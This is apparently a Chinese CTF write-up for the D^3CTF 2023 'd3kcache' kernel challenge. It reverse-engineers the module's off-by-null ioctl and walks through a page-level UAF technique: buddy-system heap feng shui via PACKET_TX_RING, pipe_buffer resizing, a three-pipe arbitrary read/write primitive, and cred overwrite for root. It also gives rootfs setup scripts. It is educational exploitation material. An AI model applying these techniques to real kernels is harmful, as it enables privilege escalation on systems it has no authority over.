page_uaf

fd = file descriptor(文件描述符)

tmp = temporary(临时)

补充一下常见的缩写的全称

题目链接

d3kcache

D^3CTF 2023 - d3kcache

通过网盘分享的文件:d3kcache-attachment.tar.xz
链接:
https://pan.baidu.com/s/1kkG30BXffmr0OgzjKKuWBw?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享

原理

简单的说明一下我的理解。这里通过pipe实现布局的同时,同时利用pipe的结构体特性溢出修改page结构体的指针,实现页级uaf。

在有uaf的基础上,我们利用这个uaf指向我们容易可控的pipe_buffer结构体,利用这个修改实现二级uaf,之后我们就可以利用三个管道实现任意地址写。

Page-level UAF 同样是针对 buddy system 的利用手法,这种攻击手法主要指的是对内存页结构体 page 的释放后利用,例如我们可以通过内存页重分配的方式将 UAF page 分配为指定 kmem_cache 的 slub pages ,亦或是其他会直接分配内存页的内核子系统,从而打破 kmem_cache 甚至是直接进行内存页分配的其他子系统之间的间隔(例如页表)

之前我们学习过Cross-Cache Overflow

内核堆基础 || 羊城杯challenge例题讲解(Cross-Cache UAF)-先知社区

但是对比起来我们要学的那个实在不是一个级别的,这个确实,我们直接上实战

作为一名黑客,在剥离去各种不同的题目结构、漏洞环境的背后,我们究竟能在多么极端的情况下完成对一个漏洞的利用?我们是否能够脱离实验室的理想环境实现一种足以应用在实战中的通解?

buddy_system

页级堆风水是针对这个的利用

页级堆风水是一种以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知而且信息量巨大,因此这种利用手法实际上是让我们手动构造一个新的已知的页级粒度内存页排布。

我们之前分析过,也就是上面这个链接,slub allocator向buddy system请求页面的过程,当freelist page已经耗空且partial链表也为空时(或者kmem_cache刚刚创建后进行第一次分配,会向buddy system申请页面。

buddy system工作原理,其基本原理就是以2的order次幂张内存页作为分配粒度,相同order间空间链表构成双向链表,当低阶order的页面不够用时便会从高阶order取一份连续内存页拆成两半,其中一半挂回当前请求的order链表,另一半返回给上层的调用者

  • 向 buddy system 请求两份连续的内存页
  • 释放其中一份内存页,在 vulnerable kmem_cache 上堆喷,让其取走这份内存页
  • 释放另一份内存页,在 victim kmem_cache 上堆喷,让其取走这份内存页

结合源码讲解一下这个向buddy system申请页的具体实现

利用 PF_PACKET + PACKET_TX_RING 这条路径,直接从 buddy allocator 申请/释放 “2^order 连续物理页”,从而在物理内存上拿到一块你可控的“页池”(page pool),再把这块页池里的某些页“让给”victim kmem_cache、某些页“让给”题目模块的 vuln kmem_cache,最后把 vuln 的 slab page 夹在 victim slab pages 中间,提升越界写命中目标的稳定性。

拆分讲解一下调用链

__sys_setsockopt()
    sock->ops->setsockopt()
        packet_setsockopt() // case PACKET_TX_RING ↓
            packet_set_ring()
                alloc_pg_vec()

在 alloc_pg_vec() 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2order 张内存页,其中 order 由 tp_block_size 决定:

这里就是先向buddy system申请一大块,然后内部再进行内部划分里面的slub page,这里的申请一大块具体看的话也是看其内部结构体的具体大小,2k大小对应的是buddy system的3order的双向链表。

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req->tp_block_nr;
    struct pgv *pg_vec;
    int i;

    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    if (unlikely(!pg_vec))
        goto out;

    for (i = 0; i < block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order);
        if (unlikely(!pg_vec[i].buffer))
            goto out_free_pgvec;
    }

out:
    return pg_vec;

out_free_pgvec:
    free_pg_vec(pg_vec, order, block_nr);
    pg_vec = NULL;
    goto out;
}

下面这个是上面分配源码的核心部分

pg_vec = kcalloc(block_nr, sizeof(struct pgv), ...);

for (i = 0; i < block_nr; i++) {
    pg_vec[i].buffer = alloc_one_pg_vec_page(order);
}

在 alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:

然后我们看一下释放的部分

static char *alloc_one_pg_vec_page(unsigned long order)
{
    char *buffer;
    gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |
              __GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;

    buffer = (char *) __get_free_pages(gfp_flags, order);
    if (buffer)
        return buffer;
    //...
}

下面这个是上面这个源码释放核心简化

buffer = (char *)__get_free_pages(gfp_flags, order);

上面的是申请,下面的是释放的链,先不用重点的关注,调用链如下

packet_release()
    packet_set_ring()
        free_pg_vec()

setsockopt() 也可以帮助我们完成页级堆风水,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt() 便相当于获取到了一块近乎物理连续的内存(为什么是”近乎连续“是因为大量的 setsockopt() 流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)

  • 先释放一部分页面,让 victim object 取得这些页面
  • 释放一份页面,向题目模块请求分配对象,从而获得该份页面
  • 再释放一部分页面,让 victim object 取得这些页面

这种方式可以极大的提高我们的命中率,稳定页布局

上述的这个实现好像是利用了ring这个特性,与网络通信是有一定相关的。

pipe_buffer特性一: fcntl(F_SETPIPE_SZ)

利用这个特性进行页的布局,这个属性是为了扩大申请

这里并没有使用msg_msg这个结构体,而是使用的pipe_buffer这个结构体

我们只有一个字节的溢出,我们需要的结构体是在头部就有只想其他内核对象的指针的内核对象,pipe_buffer开头有着指向page结构体的指针,struct page结构体的大小是0x40。

这里75%的理解有点难度,换句话就是,0x40*4=0x100,这个样的话是可以错位指向相同的page结构体,效果的话就是让两个管道只想同一张页面,这样就有了页级堆风水了

这里我们的成功率是75%,因为是有一个情况是恰好遇到本身的地址是00,这样的就会指向自身

同时管道的特性还允许我们进行任意读写

遇到的问题

但是有一个小问题,pipe_buffer 来自于 kmalloc-cg-1k ,其会请求 order-2 的页面,而题目模块的对象大小为 2k,其会请求 order-3 的页面,如果我们直接进行不同 order 间的堆风水的话,则利用成功率会大打折扣 :

对于上面问题,我们重新分析pipe_buffer分配过程

  • kcalloc(n, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT)
    实际分配的是
    n 个 pipe_buffer 连续排列的一整块内存(数组),不是一个一个 kmalloc(sizeof(pipe_buffer))。
  • GFP_KERNEL_ACCOUNT 会走 kmalloc-cg- 这套“记账”的 slab cache(你文里提到 kmalloc-cg-1k 就是这个原因)。

所以,“pipe_buffer 来自 kmalloc-cg-1k”更准确地说是:

kmalloc 有一套按大小分桶的 cache(…512、1k、2k、4k…)。当分配大小落在某个区间,就从对应 cache 出。

默认 pipe_bufs 取值下,pipe->bufs 这块数组的 总字节数 落在 1k 级别的 kmalloc-cg cache,于是这块数组从 kmalloc-cg-1k 分配。

这个 kmalloc cache 为了装下很多个 1k 对象,会从 buddy 一次要一块 order-2 的 page block 来当 slab。

对应的源码如下

struct pipe_inode_info *alloc_pipe_info(void)
{
    //...
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);

这里注意到 pipe_buffer 不是一个常量而是一个变量,那么**我们能否有方法修改 pipe_buffer 的数量?**答案是肯定的,pipe 系统调用非常贴心地为我们提供了 F_SETPIPE_SZ 让我们可以重新分配 pipe_buffer 并指定其数量:

对应的调整重新分配pipe_buffer并指定数量的源码如下

long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
{
    struct pipe_inode_info *pipe;
    long ret;

    pipe = get_pipe_info(file, false);
    if (!pipe)
        return -EBADF;

    __pipe_lock(pipe);

    switch (cmd) {
    case F_SETPIPE_SZ:
        ret = pipe_set_size(pipe, arg);


static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
{


    ret = pipe_resize_ring(pipe, nr_slots);

int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
    struct pipe_buffer *bufs;
    unsigned int head, tail, mask, n;

    bufs = kcalloc(nr_slots, sizeof(*bufs),
               GFP_KERNEL_ACCOUNT | __GFP_NOWARN);

核心的利用源码如下

fcntl(F_SETPIPE_SZ) 会走到 pipe_set_size()

case F_SETPIPE_SZ:
    ret = pipe_set_size(pipe, arg);

pipe_set_size() 里调用 pipe_resize_ring(pipe, nr_slots)

ret = pipe_resize_ring(pipe, nr_slots);

pipe_resize_ring() 重新分配 pipe->bufs

bufs = kcalloc(nr_slots, sizeof(*bufs),
               GFP_KERNEL_ACCOUNT | __GFP_NOWARN);

可以通过控制 nr_slots,控制这次 kcalloc() 的总大小:

  • bytes = nr_slots * sizeof(struct pipe_buffer)

只要你把 bytes 调到 (1024, 2048] 这个区间,它就会从 kmalloc-cg-2k 分配(而不是 -1k)。

指定64个pipe_buffer的原因如下

64 * 32 = 2048
→
kcalloc 总大小正好是 2KB

pipe_buffer特性二:二级自写管道

有了 page-level UAF,我们接下来考虑向这张页面分配什么结构体作为下一阶段的 victim object

我们最终构造的效果如下

接下来我们可以通过 UAF 管道读取 pipe_buffer 内容,从而泄露出 page、pipe_buf_operations 等有用的数据(可以在重分配前预先向管道中写入一定长度的内容,从而实现数据读取),由于我们可以通过 UAF 管道直接改写 pipe_buffer ,因此将漏洞转化为 dirty pipe 或许会是一个不错的办法

我们之前通过offbynull构造出来了一级页uaf,我们可以再次构造二级uaf,这个情况一直重复下去的话我们可以获得对整个系统的构造支配权

效果的是在二级page_level UAF中,这个物理页面对于page结构体的地址是已知的,可以直接让这张页面的pipe_buffer的page指针指向自己,这样直接可以完成对自身的修改

这里我们可以篡改 pipe_buffer.offset 与 pipe_buffer.len 来移动 pipe 的读写起始位置,从而实现无限循环的读写,但是这两个变量会在完成读写操作后重新被赋值,因此这里我们使用三个管道:

  • 第一个管道用以进行内存空间中的任意读写,我们通过修改其 page 指针完成 :
  • 第二个管道用以修改第三个管道,使其写入的起始位置指向第一个管道
  • 第三个管道用以修改第一个与第二个管道,使得第一个管道的 pipe 指针指向指定位置、第二个管道的写入起始位置指向第三个管道

通过这三个管道之间互相循环修改,我们便实现了一个可以在内存空间中进行近乎无限制的任意读写系统 :

Pipe A:工作管道(data / primitive pipe)

  • 作用:承担你真正想要的“读/写动作”(从抽象角度看,就是把 pipe 的读写当成一个数据搬运器)
  • 问题:A 每做一次 I/O,A 自己的状态(offset/len 等)就会变化,容易“跑偏”

Pipe B:控制管道(patch / steering pipe)

  • 作用:用来“调整 A 的状态”,比如把 A 的某些元数据字段重新设置回你想要的状态(概念上:把 A 的读写光标拨回去、把它的目标指向重新对齐等)
  • 问题:B 自己在执行这些“调整动作”时,也同样要做 pipe I/O,于是 B 的 offset/len 也会变,B 自己也会跑偏

Pipe C:维护管道(reset / meta-controller pipe)

  • 作用:用来“修 B”,也就是当 B 的状态跑偏后,C 负责把 B 的状态再拨回可用状态
  • 这样形成一个链:
  • A 干活
  • B 修 A
  • C 修 B

两个管道的话不一定满足修A的条件。

所以 A 是“输出端/干活端”,但它不擅长“维持自己一直对准某个位置”。

所以 B 是“用来修 A 的工具”,但 B 用着用着自己也会乱。

直觉上:你需要一个“更高一层的手”去把“修理工(B)”的工具也校准回来。

task_struct的cred的修改

init_cred 为有着 root 权限的 cred,我们可以直接将当前进程的 cred 修改为该 cred 以完成提权,这里iwom可以通过 prctl(PR_SET_NAME, "arttnba3pwnn"); 修改 task_struct.comm ,从而方便搜索当前进程的 task_struct 在内存空间中的位置:)

不过 init_cred 的符号有的时候是不在 /proc/kallsyms 中导出的,我们在调试时未必能够获得其地址,因此这里选择通过解析 task_struct 的方式向上一直找到 init 进程(所有进程的父进程)的 task_struct ,从而获得 init_cred 的地址:

环境准备

题目是给了img镜像的文件夹,这个处理起来有点不同,参考这篇文章,感觉img是目前出题的主流了

好像有很大的不同,我们简单的补充一下,这个题目我们这样挂载上就行

这个是关联起来的这个img镜像

这样你每次执行 ./unpack_rootfs_img.sh 都会直接覆盖重建 rootfs_rw.img(不保留旧的工作镜像),需要保留上次修改时再用 --reuse。

cd /home/ziran/Desktop/core_ret2all/d3kcache-attachment || exit 1

cat > unpack_rootfs_img.sh <<'SH'
#!/usr/bin/env bash
set -euo pipefail

BASE="/home/ziran/Desktop/core_ret2all/d3kcache-attachment"
IMG_RO="${BASE}/rootfs.img"
IMG_RW="${BASE}/rootfs_rw.img"
MNT="${BASE}/rootfs"

# 用法:
#   ./unpack_rootfs_img.sh                 # 默认:覆盖重建 rootfs_rw.img(不保留旧的/不备份)然后挂载
#   ./unpack_rootfs_img.sh 128M            # 默认同上,并在重建后扩容 +128M(推荐解决 ENOSPC)
#   ./unpack_rootfs_img.sh --reuse         # 复用已有 rootfs_rw.img(保留上次修改)再挂载
#   ./unpack_rootfs_img.sh 256M --reuse    # 复用并扩容
#   ./unpack_rootfs_img.sh 256M --fresh    # 显式重建(等同默认)
ADD_SIZE=""
REUSE="0"   # 0=默认重建(不备份) 1=复用已有rw
for arg in "$@"; do
  case "$arg" in
    --reuse) REUSE="1" ;;
    --fresh) REUSE="0" ;;   # 兼容旧用法;现在默认就是 fresh
    --*) echo "ERROR: unknown option: $arg" >&2; exit 1 ;;
    *) ADD_SIZE="$arg" ;;
  esac
done

cd "$BASE"

if [[ ! -f "$IMG_RO" ]]; then
  echo "ERROR: 找不到 $IMG_RO"
  exit 1
fi

# 如果挂载点已挂载,先卸载
if mountpoint -q "$MNT"; then
  echo "[*] $MNT is mounted, umount..."
  sudo umount "$MNT"
fi

mkdir -p "$MNT"

# 断开 loop(更干净,避免占用导致 rm/cp 失败)
LOOPS="$(sudo losetup -a | grep -F "$IMG_RW" | cut -d: -f1 || true)"
if [[ -n "${LOOPS:-}" ]]; then
  echo "[*] Detaching loop device(s) for rootfs_rw.img:"
  echo "$LOOPS"
  while read -r lp; do
    [[ -n "$lp" ]] && sudo losetup -d "$lp" || true
  done <<< "$LOOPS"
fi

# 生成/更新 rootfs_rw.img
if [[ "$REUSE" == "0" ]]; then
  echo "[*] (default) Recreating rootfs_rw.img from rootfs.img (overwrite, no backup)"
  rm -f "$IMG_RW"
  cp --reflink=auto "$IMG_RO" "$IMG_RW" 2>/dev/null || cp "$IMG_RO" "$IMG_RW"
else
  if [[ ! -f "$IMG_RW" ]]; then
    echo "[*] --reuse specified but rootfs_rw.img not found; creating from rootfs.img ..."
    cp --reflink=auto "$IMG_RO" "$IMG_RW" 2>/dev/null || cp "$IMG_RO" "$IMG_RW"
  else
    echo "[*] --reuse specified: rootfs_rw.img already exists, will reuse it."
  fi
fi

echo "[*] Current image sizes:"
ls -lh "$IMG_RO" "$IMG_RW"

# 可选扩容(解决写入空间不足 ENOSPC)
if [[ -n "${ADD_SIZE:-}" ]]; then
  echo "[*] Expanding rootfs_rw.img by +${ADD_SIZE}"
  truncate -s +"$ADD_SIZE" "$IMG_RW"
  sudo e2fsck -f -y "$IMG_RW"
  sudo resize2fs "$IMG_RW"
fi

# fsck 修复(挂载前建议做)
echo "[*] e2fsck rootfs_rw.img ..."
sudo e2fsck -f -y "$IMG_RW"

# 挂载为可写
echo "[*] Mounting rootfs_rw.img -> $MNT (rw)"
sudo mount -o loop,rw "$IMG_RW" "$MNT"

echo "[+] Mounted OK. Free space:"
df -h "$MNT"

echo
echo "[!] 以后请把要写入的文件放到:$MNT/ 下面"
SH

chmod +x unpack_rootfs_img.sh

使用的代码

cd /home/ziran/Desktop/core_ret2all/d3kcache-attachment
./unpack_rootfs_img.sh 128M
# 或者如果你想重新从 rootfs.img 复制一份全新的 rw 镜像:
# ./unpack_rootfs_img.sh 128M --fresh

我们读取init脚本确定ko文件的位置,位于root目录下

#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chown root:root /root/flag
chmod 600 /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/d3kcache.ko
chmod 666 /dev/d3kcache

cat /root/banner
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
setsid cttyhack su ctf -c /bin/sh
#setsid cttyhack setuidgid 1000 sh

poweroff -d 0  -f

然后我拖进ida里面就能分析了,假如我们写好exp,我们用这个方式重新打包

cd /home/ziran/Desktop/core_ret2all/d3kcache-attachment || exit 1

cat > pack_rootfs_img.sh <<'SH'
#!/usr/bin/env bash
set -euo pipefail

BASE="/home/ziran/Desktop/core_ret2all/d3kcache-attachment"
IMG_RO="${BASE}/rootfs.img"
IMG_RW="${BASE}/rootfs_rw.img"
MNT="${BASE}/rootfs"

# 用法:
#   ./pack_rootfs_img.sh               # 默认:卸载 -> fsck -> shrink(-M) -> 覆盖生成新的 rootfs.img(不备份),并删除 rootfs_rw.img
#   ./pack_rootfs_img.sh --no-shrink   # 不做 -M 收缩,只 fsck 后打包
#   ./pack_rootfs_img.sh --keep-rw     # 生成 rootfs.img 后保留 rootfs_rw.img(默认会删除)
NO_SHRINK="0"
KEEP_RW="0"  # 0=默认不保留(删除) 1=保留

for arg in "$@"; do
  case "$arg" in
    --no-shrink) NO_SHRINK="1" ;;
    --keep-rw)   KEEP_RW="1" ;;
    --*) echo "ERROR: unknown option: $arg" >&2; exit 1 ;;
  esac
done

cd "$BASE"

if [[ ! -f "$IMG_RW" ]]; then
  echo "ERROR: 找不到 $IMG_RW(请先运行 ./unpack_rootfs_img.sh 挂载并修改)"
  exit 1
fi

# 如果还挂载着,先卸载
if mountpoint -q "$MNT"; then
  echo "[*] $MNT is mounted, umount..."
  sudo umount "$MNT"
fi

# 断开 loop(更干净,避免占用)
LOOPS="$(sudo losetup -a | grep -F "$IMG_RW" | cut -d: -f1 || true)"
if [[ -n "${LOOPS:-}" ]]; then
  echo "[*] Detaching loop device(s) for rootfs_rw.img:"
  echo "$LOOPS"
  while read -r lp; do
    [[ -n "$lp" ]] && sudo losetup -d "$lp" || true
  done <<< "$LOOPS"
fi

echo "[*] e2fsck rootfs_rw.img ..."
sudo e2fsck -f -y "$IMG_RW"

if [[ "$NO_SHRINK" == "0" ]]; then
  echo "[*] resize2fs -M (shrink to minimum) ..."
  sudo resize2fs -M "$IMG_RW"
  echo "[*] final e2fsck ..."
  sudo e2fsck -f -y "$IMG_RW"
else
  echo "[*] --no-shrink specified: skip resize2fs -M"
fi

# 用 rw 镜像生成新的 rootfs.img(覆盖,不备份)
echo "[*] Writing new rootfs.img from rootfs_rw.img (overwrite, no backup) ..."
cp --reflink=auto "$IMG_RW" "$IMG_RO" 2>/dev/null || cp "$IMG_RW" "$IMG_RO"

echo "[+] Done. Result:"
ls -lh "${BASE}/rootfs.img" "${BASE}/rootfs_rw.img"

if [[ "$KEEP_RW" == "0" ]]; then
  echo "[*] Removing rootfs_rw.img (default behavior) ..."
  rm -f "$IMG_RW"
  echo "[+] rootfs_rw.img removed."
else
  echo "[i] --keep-rw specified: rootfs_rw.img kept."
fi
SH

chmod +x pack_rootfs_img.sh

使用的方法如下

cd /home/ziran/Desktop/core_ret2all/d3kcache-attachment
./pack_rootfs_img.sh --no-shrink

题目分析

最后一个题了,这里我不依赖ai了,我们来纯手动分析一下

我们从头来分析一下

这里是init初始化,核心点都注释了上了,这里需要注意的是这里创建了一个独立的kmem_cache,对象的大小为2048.

一页大小是4096,只能分配这两个对象

__int64 init_module()
{
  unsigned int v0; // ebx

  printk(&unk_96B);
  major_num = _register_chrdev(0, 0, 256, "d3kcache", &d3kcache_fo);
//major=0:让内核动态分配一个 major
//baseminor=0, count=256:表示这个 major 下 0~255 共 256 个 minor 都归它
//"d3kcache":设备名
//&d3kcache_fo:字符设备的 file_operations,决定 open/read/write/ioctl 等行为
  if ( major_num >= 0 )
  {
    module_class = _class_create(&_this_module, "d3kcache", &d3kcache_module_init___key);
//创建 class:让 sysfs/udev 有“设备类”可挂靠
//在 /sys/class/d3kcache/ 下创建类,后续 device_create 才能生成 /dev 节点。
    if ( (unsigned __int64)module_class < 0xFFFFFFFFFFFFF001LL )
    {
      printk(&unk_A0D);
      v0 = 0;
      module_device = device_create(module_class, 0, (unsigned int)(major_num << 20), 0, "d3kcache");
     //创建 device:生成 /dev/d3kcache(通常靠 udev/mdev 自动创建设备节点)
      if ( (unsigned __int64)module_device < 0xFFFFFFFFFFFFF001LL )
      {
        printk(&unk_A66);
        spin = 0;
        kcache_jar = kmem_cache_create_usercopy("kcache_jar", 2048, 0, 67379200, 0, 2048, 0);
        memset(kcache_list, 0, 0x100u);
        //在模块初始化函数中创建了一个独立的 kmem_cache ,对象大小为 2048
      }
      else
      {
        class_destroy(module_class);
        _unregister_chrdev((unsigned int)major_num, 0, 256, "d3kcache");
        printk(&unk_A3B);
        return (unsigned int)module_device;
      }
    }
    else
    {
      _unregister_chrdev((unsigned int)major_num, 0, 256, "d3kcache");
      printk(&unk_9DE);
      return (unsigned int)module_class;
    }
  }
  else
  {
    printk(&unk_9AD);
    return (unsigned int)major_num;
  }
  return v0;
}

然后我们看一下ioctl函数(漏洞简单那的标注了一下)

IDA/Hex-Rays没识别成结构体,结构体的成员变得扁平了,我们需要手动的还原结构体

这里说明有个0x10大小的结构体

 v4 = copy_from_user(&n0xF, a3, 0x10);

这里的用的switch,ida没有识别出来,降级成if,所幸没有进一步降级成goto

然后补充一下面这个部分

copy_from_user(dst, src, n) 的返回值是 “没有拷贝成功的字节数”(unsigned long)。

  • 返回 0:表示 n 字节全部拷贝成功
  • 返回 非 0:表示有 部分或全部字节没拷过去(通常是用户指针无效/跨页等导致 fault),剩余没拷贝的字节数就是返回值。

这个ioctl并不是很难逆向比起inlctf那个,传入一个结构体指针,相对属于比较好逆向的,两个4字节的成员,一个8字节的成员

这里还原一下结构体,看起来清晰很多

struct kcache_cmd {
    int idx;
    unsigned int sz;
    void *buf;
};
s64 __fastcall d3kcache_ioctl(s64 file, u32 choice, d3kcache_user_req *arg)
{
  __int64 v4; // rax
  s64 v5; // rbx
  u32 _size; // ecx
  char *buf_start; // r14
  __int64 real_size; // r15
  __int64 struct_member_data_2; // r12
  int size; // ecx
  __int64 size_; // rbx
  void *p_n0xF; // r14
  __int64 struct_member_data_1; // r15
  __int64 p_n0xF_2; // rax
  _BYTE *obj_data; // r15
  unsigned int n0x800_2; // r13d
  __int64 n2048_2; // r14
  __int64 data; // r12
  __int64 index; // r14
  unsigned __int64 index_; // rbx
  __int64 n2047; // rax
  __int64 n0xF_3; // r12
  unsigned __int64 n0xF_4; // rbx
  void *v25; // rdi
  unsigned int struct_start_index; // [rsp-48h] [rbp-48h] BYREF
  u32 struct_member_size; // [rsp-44h] [rbp-44h]
  __int64 struct_member_data; // [rsp-40h] [rbp-40h]
  unsigned __int64 v29; // [rsp-38h] [rbp-38h]

  v29 = __readgsqword(0x28u);
  raw_spin_lock(&spin);
  v4 = copy_from_user(&struct_start_index, arg, 0x10);
  v5 = -1;
  if ( v4 )
    goto LABEL_2;
  if ( (int)choice > 0x80F )
  {
    if ( choice == 0x810 )                      // free
    {
      if ( struct_start_index > 0xFuLL || !d3kcache_entry[struct_start_index].ptr )// one_member_____index
      {
        v25 = &unk_882;
        goto LABEL_46;
      }
      kmem_cache_free(kcache_jar);
      index = (int)struct_start_index;
      if ( (unsigned __int64)(int)struct_start_index > 0xF )
      {
        _ubsan_handle_out_of_bounds(&off_12A0, struct_start_index);// "/home/arttnba3/Desktop/self_questioning/D3CTF2023/d3kcache/code/d3kcache.c"
        index_ = (int)struct_start_index;
        d3kcache_entry[index].ptr = 0;
        if ( index_ >= 0x10 )
          _ubsan_handle_out_of_bounds(&off_12C0, (unsigned int)index_);// "/home/arttnba3/Desktop/self_questioning/D3CTF2023/d3kcache/code/d3kcache.c"
      }
      else
      {
        d3kcache_entry[struct_start_index].ptr = 0;
        index_ = (unsigned int)index;
      }
      kcache_list[4 * index_] = 0;              // 没有uaf
      v5 = 0;
    }
    else                                        // show
    {
      if ( choice != 0x1919 )
        goto LABEL_42;
      if ( struct_start_index > 0xFuLL || !d3kcache_entry[struct_start_index].ptr )
      {
        v25 = &unk_85D;
        goto LABEL_46;
      }
      size = struct_member_size;
      if ( struct_member_size > kcache_list[4 * struct_start_index] )
        size = kcache_list[4 * struct_start_index];
      if ( size < 0 )
        BUG();
      size_ = (unsigned int)size;
      p_n0xF = d3kcache_entry[struct_start_index].ptr;
      struct_member_data_1 = struct_member_data;
      _check_object_size(p_n0xF, (unsigned int)size, 1);
      v5 = -(__int64)(copy_to_user(struct_member_data_1, p_n0xF, size_) != 0);
    }
  }
  else
  {
    if ( choice != 0x114 )                      // add_another_choice
    {
      if ( choice == 0x514 )                    // edit
      {
        if ( struct_start_index <= 0xFuLL && d3kcache_entry[struct_start_index].ptr )
        {
          _size = struct_member_size;
          if ( struct_member_size > 0x800 || struct_member_size + kcache_list[4 * struct_start_index] >= 0x800 )
            _size = 0x800 - kcache_list[4 * struct_start_index];
          if ( (_size & 0x80000000) != 0 )
            BUG();
          buf_start = (char *)d3kcache_entry[struct_start_index].ptr + kcache_list[4 * struct_start_index];
          real_size = _size;
          struct_member_data_2 = struct_member_data;
          _check_object_size(buf_start, _size, 0);
          if ( !copy_from_user(buf_start, struct_member_data_2, real_size) )
          {
            buf_start[real_size] = 0;           // vuln
            v5 = 0;
          }
          goto LABEL_2;
        }
        v25 = &unk_837;
LABEL_46:
        printk(v25);
        goto LABEL_2;
      }
LABEL_42:
      v25 = &unk_8AA;
      goto LABEL_46;
    }
    if ( struct_start_index >= 0x10uLL )
    {
      v25 = &unk_782;
      goto LABEL_46;
    }
    if ( d3kcache_entry[struct_start_index].ptr )
    {
      v25 = &unk_7F6;
      goto LABEL_46;
    }
    p_n0xF_2 = kmem_cache_alloc(kcache_jar, 0xDC0);
    if ( !p_n0xF_2 )
    {
      v25 = &unk_81A;
      goto LABEL_46;
    }
    obj_data = (_BYTE *)p_n0xF_2;
    n0x800_2 = struct_member_size;
    n2048_2 = 0x800;
    if ( struct_member_size < 0x800 )
      n2048_2 = struct_member_size;
    data = struct_member_data;
    _check_object_size(p_n0xF_2, n2048_2, 0);
    if ( copy_from_user(obj_data, data, n2048_2) )
    {
      kmem_cache_free(kcache_jar);
    }
    else
    {
      n2047 = 2047;
      if ( n0x800_2 < 0x7FF )
        n2047 = n0x800_2;
      obj_data[n2047] = 0;
      n0xF_3 = (int)struct_start_index;
      if ( (unsigned __int64)(int)struct_start_index > 0xF )
      {
        _ubsan_handle_out_of_bounds(&off_1260, struct_start_index);// "/home/arttnba3/Desktop/self_questioning/D3CTF2023/d3kcache/code/d3kcache.c"
        n0xF_4 = (int)struct_start_index;
        d3kcache_entry[n0xF_3].ptr = obj_data;
        if ( n0xF_4 >= 0x10 )
          _ubsan_handle_out_of_bounds(&off_1280, (unsigned int)n0xF_4);// "/home/arttnba3/Desktop/self_questioning/D3CTF2023/d3kcache/code/d3kcache.c"
      }
      else
      {
        d3kcache_entry[struct_start_index].ptr = obj_data;
        n0xF_4 = (unsigned int)n0xF_3;
      }
      kcache_list[4 * n0xF_4] = n2048_2;
      v5 = 0;
    }
  }
LABEL_2:
  raw_spin_unlock(&spin);
  return v5;
}

我们看一下这个配置文件是开启了CONFIG_CFI_CLANG这个保护的

这个保护让我劫持函数指针不是那么的方便了

CONFIG_CFI_CLANG=y
# CONFIG_CFI_PERMISSIVE is not set

漏洞分析

那么只有一个off by null的漏洞是真的没有办法了吗,有的,a3提出了一个很万能的利用手法

由于题目所在的 kmem_cache 为一个独立的 kmem_cache ,因此我们只能考虑 cross-cache overflow:溢出到其他结构体所在页面上完成利用

毕竟你总不能指望在 freelist 相关保护都开启的情况下 free object 的 next 指针刚好在前 8 字节然后覆写又刚好能把 freelist 劫持到有效可控地址上:)

然后跳转到原理分析上看就行

这里我们通过布局,使其vuln可以影响到victim,布局的机制利用的是buddy system

这里需要额外的掌握下面这几个细节

零:vuln和victim

vulnerable kmem_cache(vuln):你能在它分配出来的对象上触发越界/破坏的那个 cache
在你题里最自然的就是
kcache_jar,因为漏洞写发生在它的对象上(buf_start[real_size] = 0)。

victim kmem_cache(victim):你希望被你那一字节越界影响到的“目标对象”所属的 cache
也就是:你想把越界那 1 byte 落到谁的对象头上、破坏谁的字段(长度/指针低字节/标志位等)。

一:我们利用特定向buddy system申请的API,这里需要利用的是网络子系统的相关的知识,涉及如下:

socket():这是 Linux 的通用 IPC/网络接口,当然是网络相关(它也能用于 UNIX 域套接字等非网络通信)。

PF_PACKET / AF_PACKET:属于网络协议族,专门做链路层收发包。

PACKET_TX_RING / PACKET_RX_RING:是 packet socket 的选项,用来建立收/发的 ring buffer。

TPACKET:ring buffer 每个 slot 的“包元数据头格式”,也是 packet socket 的实现细节。

slot/frame/ring:是 ring buffer 的数据结构术语,在网络高性能 I/O 中非常常见。

二:buddy的order以及物理页连续的解释如下:

buddy 以 “2^order 个连续页” 为单位管理:

order=1 一块:  [ Page A ][ Page B ]   (两页物理连续)
order=2 一块:  [ P0 ][ P1 ][ P2 ][ P3 ] (四页物理连续)

把 order=1 的块拆成两份 order=0:

split(order=1)
   [ Page A ][ Page B ]
     ↓          ↓
  order=0     order=0
  (A)         (B)
(仍然是相邻连续的两页)

三:页边界关键的原因

题目的 kcache_jar 对象大小是 0x800 = 2048。在常见 4KB 页里通常正好放 2 个对象:

slab page (4KB)
+---------------------------------------------------+
| obj0 (0x800 bytes) | obj1 (0x800 bytes)          |
| [0x000..0x7FF]     | [0x800..0xFFF]              |
+---------------------------------------------------+

这也解释了为什么“页边界”在利用里很关键:obj1 的末尾紧贴页末。

四:packet ring的意义

创建 packet ring 后,内核要给它 backing memory,于是会拿一堆页并“挂在 ring 上”。

你可以把它理解成:

buddy 空闲页池:   [ ][ ][ ][ ][ ][ ][ ]...

